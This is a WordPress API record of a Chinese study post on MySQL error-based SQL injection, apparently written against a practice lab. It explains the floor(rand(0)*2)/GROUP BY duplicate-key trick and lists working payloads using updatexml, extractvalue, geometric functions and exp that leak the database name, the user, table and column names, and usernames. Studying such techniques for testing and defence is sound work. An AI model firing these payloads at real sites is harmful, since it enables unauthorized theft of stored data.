{"id":177,"date":"2025-01-17T22:41:37","date_gmt":"2025-01-17T14:41:37","guid":{"rendered":"http:\/\/gzxingyu.cloud\/?p=177"},"modified":"2025-01-17T22:41:38","modified_gmt":"2025-01-17T14:41:38","slug":"03-%e6%8a%a5%e9%94%99%e6%b3%a8%e5%85%a5","status":"publish","type":"post","link":"http:\/\/gzxingyu.cloud\/index.php\/2025\/01\/17\/03-%e6%8a%a5%e9%94%99%e6%b3%a8%e5%85%a5\/","title":{"rendered":"03.\u62a5\u9519\u6ce8\u5165"},"content":{"rendered":"<p>floor()\u62a5\u9519\u6ce8\u5165\u7684\u539f\u56e0\u662fgroup by\u5728\u5411\u4e34\u65f6\u8868\u63d2\u5165\u6570\u636e\u65f6\uff0c\u7531\u4e8erand()\u591a\u6b21\u8ba1\u7b97\uff08\u63d2\u5165\u4e3b\u952e\u65f6rand()\u53c8\u8ba1\u7b97\u4e00\u6b21\uff09\u5bfc\u81f4\u63d2\u5165\u4e34\u65f6\u8868\u65f6==\u4e3b\u952e\u91cd\u590d==\uff0c\u4ece\u800c\u62a5\u9519\uff0c\u53c8\u56e0\u4e3a\u62a5\u9519\u524dconcat()\u4e2d\u7684SQL\u8bed\u53e5\u6216\u51fd\u6570\u88ab\u6267\u884c\uff0c\u6240\u4ee5\u8be5\u8bed\u53e5\u62a5\u9519\u4e14\u88ab\u629b\u51fa\u7684\u4e3b\u952e\u662fSQL\u8bed\u53e5\u6216\u6570\u6267\u884c\u540e\u7684\u7ed3\u679c\u3002<br \/>\n\u00a0<br \/>\n\u00a0 <div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/gzxingyu.cloud\/wp-content\/uploads\/2025\/01\/Pasted-image-20241101141641.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"http:\/\/gzxingyu.cloud\/wp-content\/uploads\/2025\/01\/Pasted-image-20241101141641.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"Pasted image 20241101141641.png\"><\/div><br \/>\n\u6700\u5927\u503c\u8d85\u8fc73\u53ef\u4ee5\u6267\u884c<br \/>\n<img decoding=\"async\" src=\"http:\/\/gzxingyu.cloud\/wp-content\/uploads\/2025\/01\/Pasted-image-20241101141245.png\" alt=\"Pasted image 20241101141245.png\"><\/p>\n<p>and (select 1 from (select count( * ),concat(database(),floor(rand(0)*2))==x== from information_schema.tables group by ==x==)a) %23<br \/>\nx\u4e3a\u522b\u540d<\/p>\n<h4>\u4f7f\u7528\u7684\u573a\u666f<\/h4>\n<p>\u80fd\u591f\u628aSQL\u8bed\u6cd5\u9519\u8bef\u8f93\u51fa\u5230\u9875\u9762\u4e0a\u7684\u5730\u65b9<\/p>\n<p><img decoding=\"async\" src=\"http:\/\/gzxingyu.cloud\/wp-content\/uploads\/2025\/01\/Pasted-image-20241031230025.png\" alt=\"Pasted image 20241031230025.png\"><\/p>\n<h4>floor\u62a5\u9519\u9700\u8981\u7684\u51fd\u6570<\/h4>\n<p>1\u3001floor()\u51fd\u6570\u00a0 \/\/\u5411\u4e0b\u53d6\u6574\uff0c\u5373\u53d6\u4e0d\u5927\u4e8ex\u7684\u6700\u5927\u6574\u6570\u3002\u53d6\u6309\u7167\u6570\u8f74\u4e0a\u6700\u63a5\u00a0 \u8fd1\u8981\u6c42\u503c\u7684\u5de6\u8fb9\u503c\u3002<\/p>\n<p>2\u3001rand(x)\u00a0 \u968f\u673a\u4ea7\u751f\u4e00\u4e2a0-1\u4e4b\u95f4\u7684\u6d6e\u70b9\u6570<\/p>\n<p>\u5f53\u6307\u5b9a\u53c2\u6570x\u4e4b\u540e\uff0c\u4f1a\u751f\u6210\u56fa\u5b9a\u7684\u4f2a\u968f\u673a\u5e8f\u5217\u3002\u5373\u56fa\u5b9a\u4e86\u53c2\u6570\uff0c\u4e4b\u540e\u6bcf\u6b21\u751f\u6210\u7684\u503c\u90fd\u662f\u4e00\u6837\u7684\uff0c\u6545\u79f0\u4e4b\u4e3a\u56fa\u5b9a\u7684\u4f2a\u968f\u673a\u6570\u5b57\uff08\u4ea7\u751f\u7684\u6570\u5b57\u90fd\u662f\u53ef\u9884\u77e5\u7684\uff09\u5c31\u6bd4\u5982rand(0)<\/p>\n<p>3.count(*)\u00a0 \u8fd4\u56de\u503c\u7684\u6761\u76ee\uff0c\u4e0ecount()\u7684\u533a\u522b\u5728\u4e8e\u5176\u4e0d\u6392\u9664NULL\uff0ccount()\u5982\u679c\u7edf\u8ba1\u5230NULL,\u8fd4\u56de\u7684\u7ed3\u679c\u5373\u4e3aNULL\uff0c\u8fd4\u56de\u5217\u6570\u3002<\/p>\n<p>4\u3001group by\u00a0 \u5206\u7ec4\u7684\u610f\u601d<br \/>\n==\u6ce8\u610f==\uff1aMysql\u53ea\u4f1a\u8bc6\u522b\u503c\u7684unicode\u7f16\u7801\uff0c\u547d\u4ee4\u4e0d\u80fd\u8bc6\u522b<\/p>\n<p>select * from test where id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)));<\/p>\n<p>\u62a5\u9519\u4f7f\u7528 \u7136\u540e\u5bfc\u81f4\u8bed\u6cd5\u88ab\u6267\u884c<br \/>\n<img decoding=\"async\" src=\"http:\/\/gzxingyu.cloud\/wp-content\/uploads\/2025\/01\/Pasted-image-20241031225145.png\" alt=\"Pasted image 20241031225145.png\"><\/p>\n<p>and (extractvalue(1,concat(0x7e,(select user()),0x7e)))#<br \/>\n\u00a0 <div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/gzxingyu.cloud\/wp-content\/uploads\/2025\/01\/Pasted-image-20241031225731.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"http:\/\/gzxingyu.cloud\/wp-content\/uploads\/2025\/01\/Pasted-image-20241031225731.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"Pasted image 20241031225731.png\"><\/div><br \/>\n\u00a0<img decoding=\"async\" src=\"http:\/\/gzxingyu.cloud\/wp-content\/uploads\/2025\/01\/Pasted-image-20241031225719.png\" alt=\"Pasted image 20241031225719.png\"><\/p>\n<h5>floor()  \u5411\u4e0b\u53d6\u6574<\/h5>\n<p><img decoding=\"async\" src=\"http:\/\/gzxingyu.cloud\/wp-content\/uploads\/2025\/01\/Pasted-image-20241101122157.png\" alt=\"Pasted image 20241101122157.png\"><\/p>\n<p>\u6ce8\u610f\uff1a\u53ea\u6709\u5728\u7279\u5b9a\u7684\u5730\u65b9\u53ef\u4ee5\u4fee\u6539\u8bed\u53e5\uff0c\u5982database\uff08\uff09\uff0c\u5176\u4ed6\u5730\u65b9\u4e0d\u884c\u4f1a\u7834\u574f\u8bed\u53e5\u7ed3\u6784\u5bfc\u81f4\u65e0\u6cd5\u62a5\u9519<\/p>\n<p>\u67e5\u8be2\u5f53\u524d\u6570\u636e\u5e93\u540d<br \/>\nand (select 1 from (select count( * ),concat(database(),floor(rand(0)*2))x from information_schema.tables group by x)a) %23<br \/>\n<img decoding=\"async\" src=\"http:\/\/gzxingyu.cloud\/wp-content\/uploads\/2025\/01\/Pasted-image-20241101120746.png\" alt=\"Pasted image 20241101120746.png\"><\/p>\n<p>\u67e5\u8be2\u5f53\u524d\u7528\u6237\u540d<br \/>\nand (select 1 from (select count(*),concat((select user()),floor(rand(0)*2))x from information_schema.tables group by x)a) %23<br \/>\n<img decoding=\"async\" src=\"http:\/\/gzxingyu.cloud\/wp-content\/uploads\/2025\/01\/Pasted-image-20241101120619.png\" alt=\"Pasted image 20241101120619.png\"><\/p>\n<p>\u67e5\u8be2\u5f53\u524d\u6570\u636e\u5e93\u4e0b\u7684\u8868\u540d\uff08\u7b2c\u4e8c\u4e2a\u8868\u540d\uff09<br \/>\nand (select 1 from (select count(*),concat((select table_name from information_schema.tables where table_schema=database() limit 1,1),floor(rand(0)*2))x from information_schema.tables group by x)a) %23<br \/>\n<img decoding=\"async\" src=\"http:\/\/gzxingyu.cloud\/wp-content\/uploads\/2025\/01\/Pasted-image-20241101144334.png\" alt=\"Pasted image 20241101144334.png\"><\/p>\n<p>\u67e5\u8be2users\u8868\u4e0b\u7528\u6237\u540d\uff08\u7b2c\u4e8c\u4e2a\u7528\u6237\u540d\uff09<br \/>\nand (select 1 from (select count(*),concat((select username from users limit 1,1),floor(rand(0)*2))x from information_schema.tables group by x)a) %23<br \/>\n<img decoding=\"async\" src=\"http:\/\/gzxingyu.cloud\/wp-content\/uploads\/2025\/01\/Pasted-image-20241101144149.png\" alt=\"Pasted image 20241101144149.png\"><\/p>\n<p>\u6ce8\u610f\uff1a\u5f53\u7528\u6237\u540d\u6216\u5bc6\u7801\u957f\u5ea6\u8fc7\u957f\uff0c\u65e0\u6cd5\u663e\u793a\u65f6\uff0c\u53ef\u4ee5\u7528\u622a\u53d6\u51fd\u6570substr()<\/p>\n<h5>updatexml()<\/h5>\n<ul>\n<li>\n<p>updatexml()<\/p>\n<ul>\n<li>\n<p>select * from test where id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1));<\/p>\n<\/li>\n<li>\n<p><img decoding=\"async\" src=\"http:\/\/gzxingyu.cloud\/wp-content\/uploads\/2025\/01\/Pasted-image-20241101145428.png\" alt=\"Pasted image 20241101145428.png\"><\/p>\n<ul>\n<li>\n<p>\u67e5\u8868\u8bed\u53e5<\/p>\n<ul>\n<li>and updatexml(1,concat(&#8216;~&#8217;,(select group_concat(table_name) from information_schema.tables where table_schema = database()),&#8217;~&#8217;),3) %23<\/li>\n<\/ul>\n<\/li>\n<li>\n<p>\u67e5\u5b57\u6bb5\u8bed\u53e5<\/p>\n<ul>\n<li>and updatexml(1,concat(&#8216;~&#8217;,(select group_concat(column_name) from information_schema.columns where table_schema = database() and table_name = &#8216;users&#8217;),&#8217;~&#8217;),3) %23<\/li>\n<\/ul>\n<\/li>\n<li>\n<p>\u67e5\u6570\u636e<\/p>\n<ul>\n<li>and updatexml(1,concat(&#8216;~&#8217;,(select username from users limit 0,1),&#8217;~&#8217;),3) %23<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n<h5>extractvalue()<\/h5>\n<ul>\n<li>select * from test where id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)));<\/li>\n<\/ul>\n<h5>geometrycollection()<\/h5>\n<ul>\n<li>select * from test where id=1 and geometrycollection((select * from(select * from(select user())a)b));<\/li>\n<\/ul>\n<h5>multipoint()<\/h5>\n<ul>\n<li>select * from test where id=1 and multipoint((select * from(select * from(select user())a)b));<\/li>\n<\/ul>\n<h5>polygon()<\/h5>\n<ul>\n<li>select * from test where id=1 and polygon((select * from(select * from(select user())a)b));<\/li>\n<\/ul>\n<h5>multipolygon()<\/h5>\n<ul>\n<li>select * from test where id=1 and multipolygon((select * from(select * from(select user())a)b));<\/li>\n<\/ul>\n<h5>linestring()<\/h5>\n<ul>\n<li>select * from test where id=1 and linestring((select * from(select * from(select user())a)b));<\/li>\n<\/ul>\n<h5>multilinestring()<\/h5>\n<ul>\n<li>select * from test where id=1 and multilinestring((select * from(select * from(select user())a)b));<\/li>\n<\/ul>\n<h5>exp()<\/h5>\n<ul>\n<li>select * from test where id=1 and exp(~(select * from(select user())a));<\/li>\n<\/ul>\n","protected":false},"excerpt":{"rendered":"<p>floor()\u62a5\u9519\u6ce8\u5165\u7684\u539f\u56e0\u662fgroup by\u5728\u5411\u4e34\u65f6\u8868\u63d2\u5165\u6570\u636e\u65f6\uff0c\u7531\u4e8erand()\u591a\u6b21\u8ba1\u7b97\uff08\u63d2\u5165\u4e3b\u952e\u65f6ran [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[5,4],"tags":[6],"class_list":["post-177","post","type-post","status-publish","format-standard","hentry","category-sql","category-web","tag-sql"],"_links":{"self":[{"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/posts\/177","targetHints":{"allow":["GET"]}}],"collection":[{"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/comments?post=177"}],"version-history":[{"count":1,"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/posts\/177\/revisions"}],"predecessor-version":[{"id":178,"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/posts\/177\/revisions\/178"}],"wp:attachment":[{"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/media?parent=177"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/categories?post=177"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/tags?post=177"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}